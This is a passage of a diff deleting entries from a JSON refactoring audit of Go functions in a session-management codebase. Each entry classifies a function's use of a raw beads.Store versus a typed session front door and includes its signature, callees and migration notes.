-   "objops": "SESSION:setMetaBatch,sessionFrontDoor.SetStatusOpen",
-   "other": "WORK_UPDATE,RIG_STORES_MAP",
-   "param": "store",
-   "callees": "setMetaBatch,reassignWorkAssignedToRetiredSessionBead,reassignStateAssignedToRetiredSessionBead,stopRuntimeBeforeSessionBeadMutation",
-   "notes": "Residual: passes raw store to stopRuntimeBeforeSessionBeadMutation (runtime stop) and to reassignWorkAssignedToRetiredSessionBead (WORK reassign over store+rigStores). Needs session front door for the SetStatusOpen/setMetaBatch arm, keeps raw store + rigStores for the work-reassignment and runtime-stop arms.",
-   "sig": "func retireDuplicateConfiguredNamedSessionBeads(\n\tstore beads.Store,\n\trigStores map[string]beads.Store,\n\tsp runtime.Provider,\n\tcfg *config.City,\n\tcityName string,\n\topenBeads []beads.Bead,\n\tbySessionName map[string]beads.Bead,\n\tindexBySessionName map[string]int,\n\tnow time.Time,\n\tstderr io.Writer,\n) []beads.Bead"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "retireRemovedConfiguredNamedSessionBead",
-   "line": "507",
-   "verdict": "MIXED",
-   "objops": "SESSION:setMetaBatch,sessionFrontDoor.SetStatusOpen",
-   "other": "WORK_UPDATE,RIG_STORES_MAP",
-   "param": "store",
-   "callees": "setMetaBatch,stopRuntimeBeforeSessionBeadMutation,unclaimWorkAssignedToRetiredSessionBead,cancelStateAssignedToRetiredSessionBead",
-   "notes": "Residual: raw store+rigStores passed to unclaimWorkAssignedToRetiredSessionBead (WORK unclaim) and raw store to stopRuntimeBeforeSessionBeadMutation (runtime stop). Front door for SetStatusOpen/setMetaBatch; keep raw store for work + runtime arms.",
-   "sig": "func retireRemovedConfiguredNamedSessionBead(\n\tstore beads.Store,\n\trigStores map[string]beads.Store,\n\tsp runtime.Provider,\n\tb beads.Bead,\n\tnow time.Time,\n\tstderr io.Writer,\n) bool"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "syncSessionBeadsWithSnapshotAndRigStores",
-   "line": "852",
-   "verdict": "ROOT",
-   "objops": "SESSION:sessionFrontDoor.RepairType,sessionFrontDoor.CreateSession,sessionFrontDoor.SetMarker,setMetaBatch,setMeta,closeFailedCreateBead,store.Get-after-create,EnsureAlias/SessionNameAvailableForOwner,SyncRuntimeAlias",
-   "other": "GENERIC_GET,WORK_UPDATE,RIG_STORES_MAP,OPENS_STORE",
-   "param": "store(unwrapped from sessStore beads.SessionStore)",
-   "callees": "closeFailedCreateBead,setMetaBatch,setMeta,closeSessionBeadIfUnassigned,closeSessionBeadIfRuntimeStoppedAndUnassigned,retireDuplicateConfiguredNamedSessionBeads,retireRemovedConfiguredNamedSessionBead,reopenClosedConfiguredNamedSessionBead,findOpenSessionBeadBySessionName,loadSessionBeads,syncDesiredPoolSlots",
-   "notes": "Composition root: already receives the typed beads.SessionStore boundary and unwraps `store := sessStore.Store` at line 868. Constructs session work via sessionFrontDoor(store) all over, plus store.Get(beadID) after CreateSession (line 1174 GENERIC_GET) and fans store+rigStores into work-aware closers. This is where the session.InfoStore front door should be constructed once and threaded to callees; keeps raw store+rigStores for the work/close arms. Notable closures inside: createBead() (sessionFrontDoor.CreateSession + store.Get), finalizeCreatedSessionName() (sessionFrontDoor.SetMarker + closeFailedCreateBead), lockFn() (EnsureAlias/SessionNameAvailableForOwner), applyBatch() (setMetaBatch+SyncRuntimeAlias).",
-   "sig": "func syncSessionBeadsWithSnapshotAndRigStores(\n\tcityPath string,\n\tsessStore beads.SessionStore,\n\trigStores map[string]beads.Store,\n\tdesiredState map[string]TemplateParams,\n\tsp runtime.Provider,\n\tconfiguredNames map[string]bool,\n\tcfg *config.City,\n\tclk clock.Clock,\n\tstderr io.Writer,\n\tskipClose bool,\n\tsessionBeads *sessionBeadSnapshot,\n) (map[string]string, *sessionBeadSnapshot)"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "syncDesiredPoolSlots",
-   "line": "1651",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:setMetaBatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "setMetaBatch",
-   "notes": "store used ONLY for setMetaBatch (pool_slot/pool_managed backfill). Convert store param to sessions *session.InfoStore (setMetaBatch becomes a front-door ApplyPatch).",
-   "sig": "func syncDesiredPoolSlots(\n\tstore beads.Store,\n\tdesiredState map[string]TemplateParams,\n\topenBeads []beads.Bead,\n\tindexBySessionName map[string]int,\n\tcfg *config.City,\n\tnow time.Time,\n\tstderr io.Writer,\n) []beads.Bead"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "setMeta",
-   "line": "1798",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor.SetMarker",
-   "other": "NONE",
-   "param": "store",
-   "callees": "<none>",
-   "notes": "Thin wrapper over sessionFrontDoor(store).SetMarker. Convert store -> sessions *session.InfoStore (drop the per-call sessionFrontDoor construction).",
-   "sig": "func setMeta(store beads.Store, id, key, value string, stderr io.Writer) error"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "sessionFrontDoor",
-   "line": "1813",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION:constructs-front-door",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "<none>",
-   "notes": "This IS the front-door constructor itself: session.NewInfoStore(beads.SessionStore{Store: store}). The single documented place cmd/gc wraps a raw beads.Store into the typed session front door; it must keep the raw beads.Store param by design.",
-   "sig": "func sessionFrontDoor(store beads.Store) *session.InfoStore"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "setMetaBatch",
-   "line": "1817",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor.ApplyPatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "<none>",
-   "notes": "Thin wrapper over sessionFrontDoor(store).ApplyPatch. Convert store -> sessions *session.InfoStore.",
-   "sig": "func setMetaBatch(store beads.Store, id string, batch map[string]string, stderr io.Writer) error"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "closeFailedCreateBead",
-   "line": "1828",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:setMetaBatch,sessionFrontDoor.CloseWithoutReason,closeBead-style-close",
-   "other": "NONE",
-   "param": "store",
-   "callees": "setMetaBatch,cancelStateAssignedToRetiredSessionBead",
-   "notes": "store used only for session ClosePatch+CloseWithoutReason and extmsg/wait cleanup via cancelStateAssignedToRetiredSessionBead(store,...). The cancel helper takes raw store for session.CancelWaits/extmsg (session-state cleanup, not WORK), so the whole tree is session-class. Convert to sessions *session.InfoStore; cancelStateAssignedToRetiredSessionBead would need a matching front-door/raw decision but stays session-domain.",
-   "sig": "func closeFailedCreateBead(store beads.Store, id string, now time.Time, stderr io.Writer) bool"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "reapStaleSessionBeads",
-   "line": "1867",
-   "verdict": "MIXED",
-   "objops": "SESSION:loadSessionBeads-read,closeBead",
-   "other": "NONE",
-   "param": "store",
-   "callees": "loadSessionBeads,closeBead",
-   "notes": "Reads open session beads (loadSessionBeads = session-class ListByLabel) and calls closeBead(store,...) (session close + work-release cascade). closeBead internally does store.Get + work release, so the close path is session-with-residual. No direct raw WORK/by-id use here itself; residual is that closeBead (its callee) keeps the raw store for its work-release + Get. Front door suffices for this function's own ops; the raw store residual lives one level down in closeBead.",
-   "sig": "func reapStaleSessionBeads(\n\tstore beads.Store,\n\tsp runtime.Provider,\n\tdt *drainTracker,\n\tclk clock.Clock,\n\tstderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "cleanupDeadRuntimeSessionCorpses",
-   "line": "1967",
-   "verdict": "MIXED",
-   "objops": "SESSION:closeBead",
-   "other": "NONE",
-   "param": "store",
-   "callees": "closeBead",
-   "notes": "store used only to pass to closeBead(store,...) (guarded by if store != nil) after a runtime Stop. closeBead itself does store.Get + work release. This function's own store use is the session close; residual (Get + work release) lives in closeBead. Front door for the close call; raw store residual inherited from closeBead.",
-   "sig": "func cleanupDeadRuntimeSessionCorpses(\n\tstore beads.Store,\n\t_ map[string]beads.Store,\n\t_ *config.City,\n\tsessionBeads *sessionBeadSnapshot,\n\tdt *drainTracker,\n\tsp runtime.Provider,\n\tclk clock.Clock,\n\tstderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "reapRuntimesBoundToClosedBeads",
-   "line": "2085",
-   "verdict": "MIXED",
-   "objops": "SESSION:store.Get-then-read-Status",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "<none>",
-   "notes": "Calls store.Get(liveID) and reads bead.Status to confirm a runtime's owning bead is closed before reaping (by-id resolution of a session bead). No write/front-door op. Keeps raw store for the by-id Get; this is a session-bead by-id read, not a front-door write, so residual = raw store for GENERIC_GET/BYID_RESOLVE.",
-   "sig": "func reapRuntimesBoundToClosedBeads(\n\tstore beads.Store,\n\tsessionBeads *sessionBeadSnapshot,\n\tdt *drainTracker,\n\tsp runtime.Provider,\n\tstderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "sweepProcessTableOrphans",
-   "line": "2165",
-   "verdict": "MIXED",
-   "objops": "SESSION:store.Get-then-read-Status",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "<none>",
-   "notes": "Calls store.Get(live.SessionID) and reads bead.Status (+ErrNotFound handling) to confirm a process-table runtime's session bead is closed/absent before terminating. By-id session-bead resolution only; no front-door write. Residual = raw store for the by-id Get.",
-   "sig": "func sweepProcessTableOrphans(\n\tsp runtime.Provider,\n\t_ *sessionBeadSnapshot,\n\tstore beads.Store,\n\tcityPath string,\n\tstderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "closeSessionBeadIfRuntimeStoppedAndUnassigned",
-   "line": "2225",
-   "verdict": "MIXED",
-   "objops": "SESSION:closeBead,closeFailedCreateBead",
-   "other": "WORK_LIST,RIG_STORES_MAP",
-   "param": "store",
-   "callees": "sessionHasOpenAssignedWorkForConfig,stopRuntimeBeforeSessionBeadMutation,closeFailedCreateBead,closeBead",
-   "notes": "Residual: passes store+rigStores to sessionHasOpenAssignedWorkForConfig (WORK assigned-work guard) and store to stopRuntimeBeforeSessionBeadMutation (runtime stop). Session close via closeBead/closeFailedCreateBead. Needs front door for close + raw store+rigStores for the work-guard/runtime arms.",
-   "sig": "func closeSessionBeadIfRuntimeStoppedAndUnassigned(\n\tstore beads.Store,\n\trigStores map[string]beads.Store,\n\tsp runtime.Provider,\n\tcfg *config.City,\n\tb beads.Bead,\n\tcloseReason string,\n\tstopReason string,\n\tnow time.Time,\n\tstderr io.Writer,\n) bool"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "stopRuntimeBeforeSessionBeadMutation",
-   "line": "2264",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "(no direct session object write)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "workerKillSessionTargetWithConfig",
-   "notes": "Reads b.Metadata[\"session_name\"] (from the passed bead, not store) and passes raw store to workerKillSessionTargetWithConfig (worker-boundary runtime stop, which needs the raw store for kill/identifier resolution). No session front-door op of its own; store is forwarded raw to the worker boundary by design. Runtime-stop probe, not an object-write site.",
-   "sig": "func stopRuntimeBeforeSessionBeadMutation(\n\tstore beads.Store,\n\tsp runtime.Provider,\n\tcfg *config.City,\n\tb beads.Bead,\n\treason string,\n\tstderr io.Writer,\n) bool"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "closeBead",
-   "line": "2325",
-   "verdict": "MIXED",
-   "objops": "SESSION:store.Get-snapshot,closeFailedCreateBead,setMetaBatch,sessionFrontDoor.CloseWithoutReason",
-   "other": "GENERIC_GET,WORK_UPDATE",
-   "param": "store",
-   "callees": "closeFailedCreateBead,setMetaBatch,cancelStateAssignedToRetiredSessionBead,releaseWorkFromClosedSessionBead",
-   "notes": "store.Get(id) snapshot (GENERIC_GET, reused for work release) + session ClosePatch/CloseWithoutReason, then releaseWorkFromClosedSessionBead(store,...) (WORK release). Needs front door for the close + raw store for the snapshot Get and the work-release cascade.",
-   "sig": "func closeBead(store beads.Store, id, reason string, now time.Time, stderr io.Writer) bool"
-  },
-  {
-   "file": "session_beads.go",
-   "name": "releaseWorkFromClosedSessionBead",
-   "line": "2379",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "(work-only via workAssignment)",
-   "other": "WORK_LIST,WORK_UPDATE",
-   "param": "store",
-   "callees": "<none>",
-   "notes": "Already on the work-assignment facade: wa := workAssignmentForStore(beads.WorkStore{Store: store}); OpenAssignedToBasic + ReleaseWorkBead. Raw-by-design WORK path (workAssignment facade), no session object op despite the session-y name. Keep raw store -> workAssignment.",
-   "sig": "func releaseWorkFromClosedSessionBead(store beads.Store, sessionBead beads.Bead, stderr io.Writer)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "prepareStartCandidateForCity",
-   "line": "723",
-   "verdict": "MIXED",
-   "objops": "SESSION: store.Get(session.ID) under WithSessionMutationLock + preWakeCommit (sessionFrontDoor ApplyPatch via PreWakePatch)",
-   "other": "GENERIC_GET,WORK_LIST,FEDERATION",
-   "param": "store",
-   "callees": "preWakeCommit,refreshConfiguredNamedStartCandidate,buildPreparedStartWithWorkDirResolver",
-   "notes": "Residual: keeps raw store for store.Get(session.ID) re-read and passes store to refreshConfiguredNamedStartCandidate (resolveSessionNameOrLegacy/snapshot reads) and buildPreparedStartWithWorkDirResolver (work-bead WORK_LIST reads). Session writes go through preWakeCommit -> sessionFrontDoor. Needs BOTH typed session front door AND raw store.",
-   "sig": "func prepareStartCandidateForCity(\n\tcandidate startCandidate,\n\tcityPath string,\n\tcityName string,\n\tcfg *config.City,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tclk clock.Clock,\n\tstderr io.Writer,\n\tworkDirResolver taskWorkDirResolver,\n) (*preparedStart, error)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "refreshConfiguredNamedStartCandidate",
-   "line": "754",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none-direct (no front-door write here; only raw session-bead reads)",
-   "other": "FEDERATION,GENERIC_GET",
-   "param": "store",
-   "callees": "(loadSessionBeadSnapshot, resolvePreservedConfiguredNamedSessionTemplate \u2014 out-of-file)",
-   "notes": "No object write op in this function body. It loads a session-bead snapshot (raw list read) and resolves the preserved named-session template (federation/by-id resolution). RAW_BY_DESIGN read; not a conversion target. Listed for completeness since it sits on the store call-tree but performs no session OBJECT mutation.",
-   "sig": "func refreshConfiguredNamedStartCandidate(\n\tcandidate startCandidate,\n\tcityPath string,\n\tcityName string,\n\tcfg *config.City,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tclk clock.Clock,\n\tstderr io.Writer,\n) startCandidate"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "buildPreparedStartWithWorkDirResolver",
-   "line": "796",
-   "verdict": "MIXED",
-   "objops": "SESSION: sessionFrontDoor(store).SetMarker(session.ID,'session_key',...) (line 873); sessionFrontDoor(store).SetMarker(session.ID,'instance_token',...) (line 966); clearStaleResumeKeyMetadata(session, store) (sessionFrontDoor ApplyPatch, line 864)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "resolvePreparedTaskWorkDir,clearStaleResumeKeyMetadata",
-   "notes": "Residual: passes store to resolvePreparedTaskWorkDir -> resolveTaskWorkDir/resolveTaskOptionOverrides (raw store.List of in_progress WORK beads, WORK_LIST). Session marker writes use sessionFrontDoor. Needs typed session front door AND raw store (or workAssignment) for the work-dir/option reads.",
-   "sig": "func buildPreparedStartWithWorkDirResolver(\n\tcandidate startCandidate,\n\tcfg *config.City,\n\tstore beads.Store,\n\tworkDirResolver taskWorkDirResolver,\n) (*preparedStart, error)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "resolvePreparedTaskWorkDir",
-   "line": "1065",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (no session/order/nudge object op)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "(resolveTaskWorkDir \u2014 out-of-file)",
-   "notes": "WORK-assignment read only (resolveTaskWorkDir does raw store.List of in_progress work beads). No object op. RAW_BY_DESIGN per work-assignment exception; not a session/order/nudge conversion target.",
-   "sig": "func resolvePreparedTaskWorkDir(\n\tcandidate startCandidate,\n\tcfg *config.City,\n\tstore beads.Store,\n\tworkDirResolver taskWorkDirResolver,\n) string"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "buildPreparedStart",
-   "line": "788",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via buildPreparedStartWithWorkDirResolver: SetMarker session_key/instance_token, clearStaleResumeKeyMetadata)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "buildPreparedStartWithWorkDirResolver",
-   "notes": "Thin wrapper that forwards store to buildPreparedStartWithWorkDirResolver (nil resolver). Same MIXED profile: typed session front door + raw store for WORK_LIST work-dir/option reads.",
-   "sig": "func buildPreparedStart(\n\tcandidate startCandidate,\n\tcfg *config.City,\n\tstore beads.Store,\n) (*preparedStart, error)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "prepareStartCandidate",
-   "line": "714",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via prepareStartCandidateForCity: preWakeCommit pre-wake patch + store.Get)",
-   "other": "GENERIC_GET,WORK_LIST,FEDERATION",
-   "param": "store",
-   "callees": "prepareStartCandidateForCity",
-   "notes": "Thin wrapper forwarding store to prepareStartCandidateForCity. Same MIXED residual (Get re-read + work reads + federation template resolve).",
-   "sig": "func prepareStartCandidate(\n\tcandidate startCandidate,\n\tcfg *config.City,\n\tstore beads.Store,\n\tclk clock.Clock,\n) (*preparedStart, error)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "clearStaleResumeKeyMetadata",
-   "line": "1781",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: sessionFrontDoor(store).ApplyPatch(session.ID, patch) clearing session_key/started_config_hash/continuation_reset_pending",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none in-file)",
-   "notes": "Pure session object write. Convert store param to sessions *session.InfoStore (drop the sessionFrontDoor wrap).",
-   "sig": "func clearStaleResumeKeyMetadata(session *beads.Bead, store beads.Store)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "runPreparedStartCandidate",
-   "line": "1138",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none-direct (no front-door write in body)",
-   "other": "GENERIC_GET,FEDERATION",
-   "param": "store",
-   "callees": "startPreparedStartCandidate,startupRateLimitScreenDetected",
-   "notes": "WORK-assignment/runtime-observation path: passes store to startPreparedStartCandidate (worker handle construction) and worker observe/peek helpers. No session OBJECT mutation here. RAW_BY_DESIGN (session-START worker-boundary/observe path). Keep raw store.",
-   "sig": "func runPreparedStartCandidate(\n\tctx context.Context,\n\titem preparedStart,\n\tcityPath string,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tcfg *config.City,\n\tstartupTimeout time.Duration,\n) (result startResult)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "startupRateLimitScreenDetected",
-   "line": "1297",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (no object op; runtime transcript peek only)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(workerSessionTargetPeekWithConfig \u2014 out-of-file)",
-   "notes": "Reads runtime transcript via worker peek (needs raw store for worker handle). No session/order/nudge object op. RAW_BY_DESIGN start-path observe. Keep raw store.",
-   "sig": "func startupRateLimitScreenDetected(\n\titem preparedStart,\n\tcityPath string,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tcfg *config.City,\n) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "enqueuePreparedStartWaveForCity",
-   "line": "1329",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via commitAsyncStartResultWithContext: ApplyPatch commit-started, SetMarker clears, close/rollback)",
-   "other": "GENERIC_GET,FEDERATION",
-   "param": "store",
-   "callees": "runPreparedStartCandidate,commitAsyncStartResultWithContext",
-   "notes": "Fans store into runPreparedStartCandidate (worker boundary, raw) and commitAsyncStartResultWithContext (session writes + Get). MIXED: typed session front door for commit writes + raw store for worker handle/Get.",
-   "sig": "func enqueuePreparedStartWaveForCity(\n\tctx context.Context,\n\tprepared []asyncPreparedStart,\n\tcityPath string,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tcfg *config.City,\n\tclk clock.Clock,\n\trec events.Recorder,\n\tstartupTimeout time.Duration,\n\twave int,\n\tstdout, stderr io.Writer,\n\ttrace *sessionReconcilerTraceCycle,\n\tasyncFollowUp func(),\n) []startResult"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "commitAsyncStartResultWithContext",
-   "line": "1380",
-   "verdict": "MIXED",
-   "objops": "SESSION: clearPendingStartInFlightLease(session,store,...) (setMeta last_woke_at clear); refreshAsyncStartResult store.Get; rollbackPendingCreate(...,store,...) (closeBead); commitStartResultTraced (sessionFrontDoor ApplyPatch)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "refreshAsyncStartResult,clearPendingStartInFlightLease,rollbackPendingCreate,stopStaleAsyncStartRuntime,commitStartResultTraced",
-   "notes": "Residual: refreshAsyncStartResult does store.Get(session.ID) (GENERIC_GET). Session mutations route through sessionFrontDoor helpers. MIXED: typed session front door + raw store for the Get re-read.",
-   "sig": "func commitAsyncStartResultWithContext(\n\tctx context.Context,\n\tresult startResult,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tclk clock.Clock,\n\trec events.Recorder,\n\twave int,\n\tstdout, stderr io.Writer,\n\ttrace *sessionReconcilerTraceCycle,\n) (committed bool)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "refreshAsyncStartResult",
-   "line": "1457",
-   "verdict": "MIXED",
-   "objops": "SESSION: store.Get(session.ID) then reads .Status/.Metadata['command'] to validate the in-flight session bead (resolveSessionIDAllowClosed-style read)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "(asyncStartPreparedCommandStale,asyncStartSessionStillCurrent \u2014 pure, no store)",
-   "notes": "Reads the current session bead by id to decide staleness; no front-door WRITE but a by-id session read. Residual = GENERIC_GET (raw store.Get). Keep raw store; could take sessions front door only if it exposed Get, otherwise stays raw-by-design read of the session bead.",
-   "sig": "func refreshAsyncStartResult(result startResult, store beads.Store, stderr io.Writer) (startResult, bool, bool, bool)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "clearPendingStartInFlightLease",
-   "line": "1485",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: setMeta(store, session.ID, 'last_woke_at', '', stderr) -> sessionFrontDoor SetMarker",
-   "other": "NONE",
-   "param": "store",
-   "callees": "setMeta",
-   "notes": "Pure session marker clear via setMeta -> sessionFrontDoor. Convert store param to sessions *session.InfoStore (and route through the front door directly).",
-   "sig": "func clearPendingStartInFlightLease(session *beads.Bead, store beads.Store, stderr io.Writer)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "commitStartResultTraced",
-   "line": "1827",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: sessionFrontDoor(store).ApplyPatch(session.ID, metadata) CommitStartedPatch (line 1903); clearPendingStartInFlightLease(session,store,...); commitStartFailure(...,store,...)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "clearPendingStartInFlightLease,commitStartFailure",
-   "notes": "All store touches are session OBJECT ops: the commit-started ApplyPatch, lease clears, and failure-path session writes. No work/by-id/graph residual. Convert store param to sessions *session.InfoStore (the wrapped front door used at line 1903).",
-   "sig": "func commitStartResultTraced(\n\tresult startResult,\n\tstore beads.Store,\n\tclk clock.Clock,\n\trec events.Recorder,\n\twave int,\n\tstdout, stderr io.Writer,\n\ttrace *sessionReconcilerTraceCycle,\n) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "commitStartResult",
-   "line": "1801",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION (transitive via commitStartResultTraced: CommitStartedPatch ApplyPatch, lease clears, failure writes)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "commitStartResultTraced",
-   "notes": "Thin wrapper forwarding store (trace=nil). Same SESSION_ONLY profile as commitStartResultTraced. Convert to sessions *session.InfoStore.",
-   "sig": "func commitStartResult(\n\tresult startResult,\n\tstore beads.Store,\n\tclk clock.Clock,\n\trec events.Recorder,\n\twave int, //nolint:unparam // always 0 here but passed through to commitStartResultTraced which uses it\n\tstdout, stderr io.Writer,\n) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "commitStartFailure",
-   "line": "1951",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: recordRateLimitQuarantine(session,store,clk); rollbackPendingCreate(session,store,...); sessionFrontDoor(store).SetMarker(session.ID,'last_woke_at','') (line 1999); recordWakeFailure(session,store,clk,...)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "rollbackPendingCreate,recordRateLimitQuarantine,recordWakeFailure",
-   "notes": "Failure-path session writes only: rate-limit quarantine (session metadata), pending-create rollback (closeBead -> session close), last_woke_at clear, wake-failure accounting (session metadata). No work/by-id residual in this body. Convert store param to sessions *session.InfoStore (helpers it calls also session-class).",
-   "sig": "func commitStartFailure(result startResult, store beads.Store, clk clock.Clock, rec events.Recorder, wave int, stderr io.Writer, trace *sessionReconcilerTraceCycle)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "recoverRunningPendingCreate",
-   "line": "2016",
-   "verdict": "MIXED",
-   "objops": "SESSION: sessionFrontDoor(store).ApplyPatch(session.ID, metadata) CommitStartedPatch (line 2069)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "buildPreparedStart",
-   "notes": "Residual: calls buildPreparedStart(...,store) which reads in_progress WORK beads (WORK_LIST) for work-dir/option overrides. The commit itself is a session ApplyPatch via front door. MIXED: typed session front door + raw store for the buildPreparedStart work reads.",
-   "sig": "func recoverRunningPendingCreate(\n\tsession *beads.Bead,\n\ttp TemplateParams,\n\tcfg *config.City,\n\tstore beads.Store,\n\tclk clock.Clock,\n\ttrace *sessionReconcilerTraceCycle,\n) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "rollbackPendingCreate",
-   "line": "2132",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: clearPendingStartInFlightLease (setMeta last_woke_at clear); setMeta(store,session.ID,'session_name','',...) ; closeBead(store, session.ID, StateFailedCreate, now, stderr)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "clearPendingStartInFlightLease,setMeta,closeBead",
-   "notes": "All session OBJECT ops: lease clear, session_name clear, and session-close-as-failed-create (closeBead, which internally also releases orphaned WORK via the workAssignment facade \u2014 that residual is inside closeBead in session_beads.go, not this function). This function only performs session writes. Convert store param to sessions *session.InfoStore (closeBead/setMeta would need the front-door-aware variants).",
-   "sig": "func rollbackPendingCreate(session *beads.Bead, store beads.Store, now time.Time, stderr io.Writer)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "rollbackPendingCreateClearingClaim",
-   "line": "2148",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: clearPendingStartInFlightLease (setMeta); setMeta(store,session.ID,'session_name','',...); closeFailedCreateBead(store, session.ID, now, stderr)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "clearPendingStartInFlightLease,setMeta,closeFailedCreateBead",
-   "notes": "Session OBJECT ops only: lease clear, session_name clear, close-failed-create. closeFailedCreateBead routes through sessionFrontDoor. Convert store param to sessions *session.InfoStore.",
-   "sig": "func rollbackPendingCreateClearingClaim(session *beads.Bead, store beads.Store, now time.Time, stderr io.Writer)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "startPreparedStartCandidate",
-   "line": "1601",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (no session/order/nudge object op; constructs worker handle by session.ID)",
-   "other": "BYID_RESOLVE,FEDERATION",
-   "param": "store",
-   "callees": "(runtimeWorkerHandleWithConfig, workerHandleForSessionWithConfig \u2014 out-of-file)",
-   "notes": "Builds a worker.Handle from the session id (worker boundary) and calls StartResolved. No session metadata mutation. RAW_BY_DESIGN session-START worker-boundary path; keep raw store.",
-   "sig": "func startPreparedStartCandidate(\n\tctx context.Context,\n\titem preparedStart,\n\tcityPath string,\n\tstore beads.Store,\n\tsp runtime.Provider,\n\tcfg *config.City,\n\tphases *startPhaseTimings,\n) (bool, error)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "dependencyTemplateAlive",
-   "line": "582",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (no object op; raw session-bead liveness reads)",
-   "other": "WORK_LIST,FEDERATION",
-   "param": "store",
-   "callees": "dependencySessionStartInFlight",
-   "notes": "Passes store to dependencySessionStartInFlight (raw ListByMetadata of session beads) and worker aliveness/observe helpers, plus lookupSessionNameOrLegacy (federation/name resolution). No session OBJECT mutation. RAW_BY_DESIGN liveness read; keep raw store.",
-   "sig": "func dependencyTemplateAlive(\n\ttemplate string,\n\tcfg *config.City,\n\tdesiredState map[string]TemplateParams,\n\tsp runtime.Provider,\n\tcityName string,\n\tstore beads.Store,\n\tclk clock.Clock,\n) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "dependencySessionStartInFlight",
-   "line": "620",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (raw store.ListByMetadata(session_name) read + isSessionBead filter)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "(isSessionBead, pendingCreateStartInFlight \u2014 pure)",
